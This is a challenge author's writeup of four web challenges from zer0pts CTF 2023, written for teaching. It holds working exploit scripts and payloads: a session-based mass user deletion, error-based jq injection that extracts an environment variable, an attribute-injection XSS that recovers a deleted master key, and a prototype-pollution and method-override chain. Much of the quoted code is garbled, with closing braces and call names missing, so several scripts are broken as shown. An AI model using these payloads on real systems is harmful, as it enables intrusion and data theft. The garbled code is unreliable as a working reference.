st98 の日記帳 - コピー


zer0pts CTF writeup (in English)

(日本語: zer0pts CTF 2023で出題した問題の解説)


zer0pts hosted zer0pts CTF 2023 from July 15th to 16th. I have created four Web challenges (Warmuprofile, jqi, Neko Note, Plain Blog) this year. I hope you enjoyed our challenges and learned something from those.

In this article, I will describe intended solutions briefly. I would really appreciate it if you could write and share your writeups for this CTF.

[Web 137] Warmuprofile (48 solves)

I made an app to share your profile.

Note: Click "Spawn container" to make a challenge container only for you. When writing exploits, be careful that the container asks for BASIC auth credentials.


Attachments: warmuprofile_80841914cb6ef9b9cdb84c3234ff8704.tar.gz

This is a warmup challenge for Web. In this challenge, you need to log in as admin user to obtain the flag at /flag, however, admin exists by default and you cannot register a user with the username already registered.

app.get('/flag', needAuth, (req, res) => {
    if (req.session.username !== 'admin') {
        flash(req, 'only admin can read the flag');
        return res.redirect('/');

    return res.render('flag', { chall_name: CHALL_NAME, flash: getFlash(req), flag: FLAG });

The app has a user deletion API at /user/:username/delete. You cannot delete users except yourself in a normal way, though, if you can somehow delete admin, then you can re-register admin to get the flag.

What if User.findOne fails and returns null here? Then, user?.dataValues is undefined, so { ...user?.dataValues } becomes {}, and the condition of User.destroy will be empty. This causes DELETE FROM `Users`, which deletes all users from the database.

This could be done when you use a session that is logged in but the username stored in the session is already deleted. The session used to delete a user will be discarded by req.session.destroy() and cannot reuse, but you could avoid this by using two sessions simultaneously: one to delete the user itself, and the other one to delete all users.'/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');

    // find user to be deleted
    const user = await User.findOne({
        where: { username }

    await User.destroy({
        where: { ...user?.dataValues }

    // user is deleted, so session should be logged out
    return res.redirect('/');

Here is an exploit:

import uuid
import requests

HOST = 'http://localhost:3000'
USERNAME, PASSWORD = 'test', 'test'

u, p = str(uuid.uuid4()), str(uuid.uuid4())
s1 = requests.Session()
s1.auth = USERNAME, PASSWORD'{HOST}/register', data={
    'username': u,
    'password': p,
    'profile': 'aaa'

s2 = requests.Session()
s2.auth = USERNAME, PASSWORD'{HOST}/login', data={
    'username': u,
    'password': p

s3 = requests.Session()
s3.auth = USERNAME, PASSWORD'{HOST}/register', data={
    'username': 'admin',
    'password': 'admin',
    'profile': 'aaa'


[Web 149] jqi (40 solves)

I think jq is useful, so I decided to make a Web app that uses jq.


Attachments: jqi_e088823cd8a1f29b076271e3e8e5e4da.tar.gz

In this challenge, you need to abuse a weird vulnerability "jq injection (jqi)". The flag is in the FLAG environment variable.

Here is the code to build a conditional expression like | select(.flag | contains("zer0pts")). This checks if the query doesn't have " or \( to avoid jq injection by breaking a string literal or using string interpolation.

However, you can use \ to break a string literal. When you give \ in name to this, the query built here is | select(.name | contains("\")). The trailing " will be treated as just a character, not a symbol to end a string literal.

You can give multiple conditions, so if you give ))]|123# in name as the second condition, the entire query will be [.challenges[] | select(.name | contains("\")) | select(.name | contains("))]|123#…. This is a valid query. You just replace 123 to query that , then you can steal the flag. ...really?

    for (const cond of conds) {
        const [str, key] = cond.split(' in ');
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });

        condsQuery += `| select(.${key} | contains("${str}"))`;

Sadly, if conditions are given by a user, the app prints a sorry, you cannot use filters in demo version and doesn't give us the result of the query. However, it runs the query even if conditions are given and tells us if an error occurs or not. You can use this as an oracle like Error-based SQL injection like getting an information if a condition is met, for example, the first character of the flag is z or not.

    let result;
    try {
        result = await, './data.json', { output: 'json' });
    } catch(e) {
        return reply.send({ error: 'something wrong' });

    if (conds.length > 0) {
        reply.send({ error: 'sorry, you cannot use filters in demo version' });
    } else {

You can use zero division to do Error-based jq injection like the below. Setting a divisor to a condition like if env.FLAG[0:1] == "z" then 0 else 1 end that you want to know it is met or not, if the first character of env.FLAG is z, then error occurs because a dividend is divided by 0. If not, error doesn't occur.

$ curl -g "\+in+name%2C))]|(1/1)%23+in+name"
{"error":"sorry, you cannot use filters in demo version"}
$ curl -g "\+in+name%2C))]|(1/0)%23+in+name"
{"error":"something wrong"}

An exploit is as below. This makes characters like [123]|implode and checks those characters are same as the nth character of the flag. By repeating this, it steals the flag character by character.

import requests

HOST = ''

def query(i, c):
    r = requests.get(f'{HOST}/api/search', params={
        'keys': 'name,author',
        'conds': ','.join(x for x in [
            '\\ in name',
            f'))]|env.FLAG[{i}:{i+1}]as$c|([{c}]|implode|1/(if($c==.)then(0)else(1)end))# in name'
    return 'something' in r.json()['error']

i = 0
flag = ''
while not flag.endswith('}'):
    for c in range(0x20, 0x7f):
        if query(i, c):
            flag += chr(c)
    print(i, flag)
    i += 1

[Web 181] Neko Note (26 solves)

I made another note app.


Attachments: neko-note_9c9190afaa278a9ea487dde554b4883f.tar.gz

This is a note app. This app has two weird features: locking notes with passwords and links to other notes. On locked notes, you need to input a password to view the contents.

On notes, a note ID enclosed by brackets like [6f16cd75-c50d-4ea2-b845-a085ff982a57] will be replaced by a link as below screenshot:

Also, you can report your notes to admin. Admin will visit the reported notes with Playwright script as below. Before visiting notes, admin creates a note includes the flag with a password, so you need to steal the ID of the note and the password to obtain the flag.

If the note admin will visit is locked, admin will use a master key, which can unlock all notes. So, you can also use a master key to read admin's note. The master key is deleted after unlocking a note, so even if you achieve an XSS, you need to find the way to recover the master key.

const context = await browser.newContext();
const page = await context.newPage();

// post a note that has the flag
await page.goto(`${BASE_URL}/`);

await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);


// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
    // the note is locked, so use master key to unlock
    await page.type('input', MASTER_KEY);

    // just in case there is a vuln like XSS, delete the password to prevent it from being stolen
    const len = (await page.$eval('input', el => el.value)).length;
    await page.focus('input');
    for (let i = 0; i < len; i++) {

// it's ready now. click "Show the note" button

// done!
await wait(1000);

await context.close();

Let's find a way to do XSS. When rendering notes, a function on server-side like this is called. This function replaces dangerous characters like < and >, however, links are generated after escaping.

// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
    note = html.EscapeString(note)
    note = strings.ReplaceAll(note, "\n", "<br>")
    note = replaceLinks(note)
    return note

replaceLinks is as below. A title of a note are escaped, but it is inserted to title attribute of a tag that is not enclosed by ". Because of this, you can insert attributes using a note with a title like a style=color:red. In this example, the link generated is <a href=/note/(ID) title=a style=color:red>…</a>, so the color of this link becomes red.

// replace [(note ID)] to links
func replaceLinks(note string) string {
    return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
        id := strings.Trim(s, "[]")

        note, ok := notes[id]
        if !ok {
            return s

        title := html.EscapeString(note.Title)
        return fmt.Sprintf(
            "<a href=/note/%s title=%s>%s</a>", id, title, title,

To escalate this attribute injection to XSS, you can use onanimationend attributes. Luckily there is a keyframe wag is in style.css. Using this keyframe, you can achive an XSS with a payload like a onanimationend=alert(123) style=animation-name:wag;animation-duration:0s.

How can we steal the password in admin's note or the master key? One idea is to undo the deletion of master key in input tag. There is an API document.execCommand that you can do some special commands on a browser, and looking through this document, you could find undo command, which enables you to recover the text deleted from input.

Finally, by letting admin to execute this code using XSS, you could get the ID of admin's note and the master key.

const h = localStorage.getItem('neko-note-history');
const id = JSON.parse(h)[0].id;
const pw = document.querySelector('input').value;

[Web 239] Plain Blog (14 solves)

I made a blog service consists of two servers: API server and Frontend server. The former provides APIs that you can see, add, or modify posts. The latter uses responses from API server and render it.
If you could get 1,000,000,000,000 likes on your post, I will give you the flag. The maximum number of likes is 5,000, though.

API server: (URL)
Frontend server: (URL)

Attachments: plain-blog_0ca2bbfebee2a86c919afa1fc29f1c41.tar.gz

This is a blog service that is composed of two containers: API server and frontend server. The former provides APIs like posting, reading, or updating articles, but the responses are in JSON. The latter proivdes GUI to use the API server. Origins of those servers are different, so the requests from the frontender server to the API server is cross-origin. To make it able to do that, the API server provides CORS headers like Access-Control-Allow-Origin and Access-Control-Allow-Methods.

You can get the flag at /api/post/:id/has_enough_permission_to_get_the_flag on the API server, but you need to make a post's post['permission]['flag'] truthy.

# the post has over 1,000,000,000,000 likes, so we give you the flag
get '/api/post/:id/has_enough_permission_to_get_the_flag' do
    id = params['id']
    if !posts.key?(id)
        return { 'error' => 'no such post' }.to_json

    permission = posts[id]['permission']
    if !permission || !permission['flag']
        return { 'flag' => 'nope' }.to_json

    return { 'flag' => FLAG }.to_json

post['permission]['flag'] is set true when a post get 1,000,000,000,000 likes, but as you can see the code of /api/post/:id/like, the maximum number of likes is 5,000.

MAX_LIKES = 5000

post '/api/post/:id/like' do
    # (snipped)

    if (posts[id]['like'] + likes) > MAX_LIKES
        return { 'error' => 'too much likes' }.to_json
    posts[id]['like'] += likes

    # get 1,000,000,000,000 likes to capture the flag!
    if posts[id]['like'] >= 1_000_000_000_000
        posts[id]['permission']['flag'] = true
    return { 'post' => posts[id] }.to_json

There is an API where you can update information of posts, but only admin can change permission. In other words, if you can let admin make requests to this API, you can get the flag.

put '/api/post/:id' do
    token = request.env['HTTP_AUTHORIZATION']
    is_admin = token == ADMIN_KEY

    id = params['id']
    if !posts.key?(id)
        return { 'error' => 'no such post' }.to_json

    id = params['id']
    if SAMPLE_IDS.include?(id)
        return { 'error' => 'sample post should not be updated' }.to_json

    if !is_admin && params['permission']
        return { 'error' => 'only admin can change the parameter' }.to_json

    if !(params['title'] || params['content'])
        return { 'error' => 'no title and content specified' }.to_json

    return posts[id].to_json

On the frontend server, there is a Prototype Pollution vulnerability here. This is a code that retrieves information of multiple articles. It sequentially fetches data from /api/post/(ID) and stores the data on posts.

What if post is Object.prototype and data is a malicious user-controlled object?

First, post can be Object.prototype because it is initialized by post = posts[id], where id is given by a user, and you can inject __proto__ as an ID.

Next, data is data fetched from API and will not be updated when is falsy. This means that it uses the data of the previous article when fetching data from API fails. Fetching data fails when the article corresponds to ID given does not exist like __proto__.

Because of this bug, if it fetches data in the order of a malicious article, then __proto__, you can pollute Object.prototype. You can easily prepare malicious object using PUT /api/post/:id because it accepts anything as long as permission property is not in the parameters you submit.

            if (page === 'post' && params.has('id')) {
                const ids = params.get('id').split(',');

                const types = {
                    title: 'string', content: 'string', like: 'number'
                let posts = {}, data, post;
                for (const id of ids) {
                    try {
                        const res = await (await request('GET', `/api/post/${id}`)).json();
                        // ToDo: implement error handling
                        if ( {
                            data =;

                        // to allow duplicate id but show only once
                        if (!(id in posts)) {
                            posts[id] = {};
                        post = posts[id];

                        // type check
                        for ([key, value] of Object.entries(data)) {
                            // we don't care the types of properties other than title, content, and like
                            // because we don't use them
                            if (key in types && typeof value !== types[key]) {

                            post[key] = value;
                    } catch {}

                content.innerHTML = '';
                for (const [id, post] of Object.entries(posts)) {
                    content.appendChild(await renderPost(id, post, isAdmin ? 1000 : 1));

How we can use this Prototype Pollution? There is a gadget, fetch. For example, when you pollute Object.prototype.headers, even though no headers are given as fetch options, additional headers will be sent. After Object.prototype is polluted, admin will push like button and a request to add likes will be sent, so you can control this request.

Referring to Access-Control-Allow-Methods, you can see that the API server only allows GET, POST, OPTIONS requests from cross-origin websites. However, you have to use PUT method to let admin update our article's information. You can use X-HTTP-Method-Override in this case. As you can control headers sent by fetch, by polluting Object.prototype.headers['X-HTTP-Method-Override'] to PUT, the API server treats the request as a PUT request, even though the real method is POST.

There are two problems to be solved yet. One is that the route to add likes is /api/post/:id/like, but the route you want to call is /api/post/:id. The other is the way to let admin send permission[flag]=yes as a parameter.

You can solve both by using (article ID that exists)?title=piyo&permission[flag]=yes& as an ID of articles. The path fetch uses will be like /api/post/(article ID that exists)?title=piyo&permission[flag]=yes&/like, so the browser will send a request to /api/post/(article ID that exists). Also, params['permission'] on the API server refers to query parameters, not only a request body and path parameters.

The final exploit is as below:

import requests

API_BASE_URL = 'http://localhost:8400'
FRONTEND_BASE_URL = 'http://localhost:8401'

r ='{API_BASE_URL}/api/post', data={
    'title': 'aaa',
    'content': 'aaa'
id = r.json()['post']['id']

data = {
    'title': 'bbb',
    'content': 'bbb',
    'headers[X-HTTP-Method-Override]': 'PUT'
r = requests.put(f'{API_BASE_URL}/api/post/{id}', data='&'.join(f'{k}={v}' for k, v in data.items()), headers={
    'Content-Type': 'application/x-www-form-urlencoded'

payload = f'{id}%3ftitle%3dpiyo%26permission%5bflag%5d%3dyes%26,{id},__proto__,a'
print(f'report {payload}')
print(f'then, access {API_BASE_URL}/api/post/{id}/has_enough_permission_to_get_the_flag')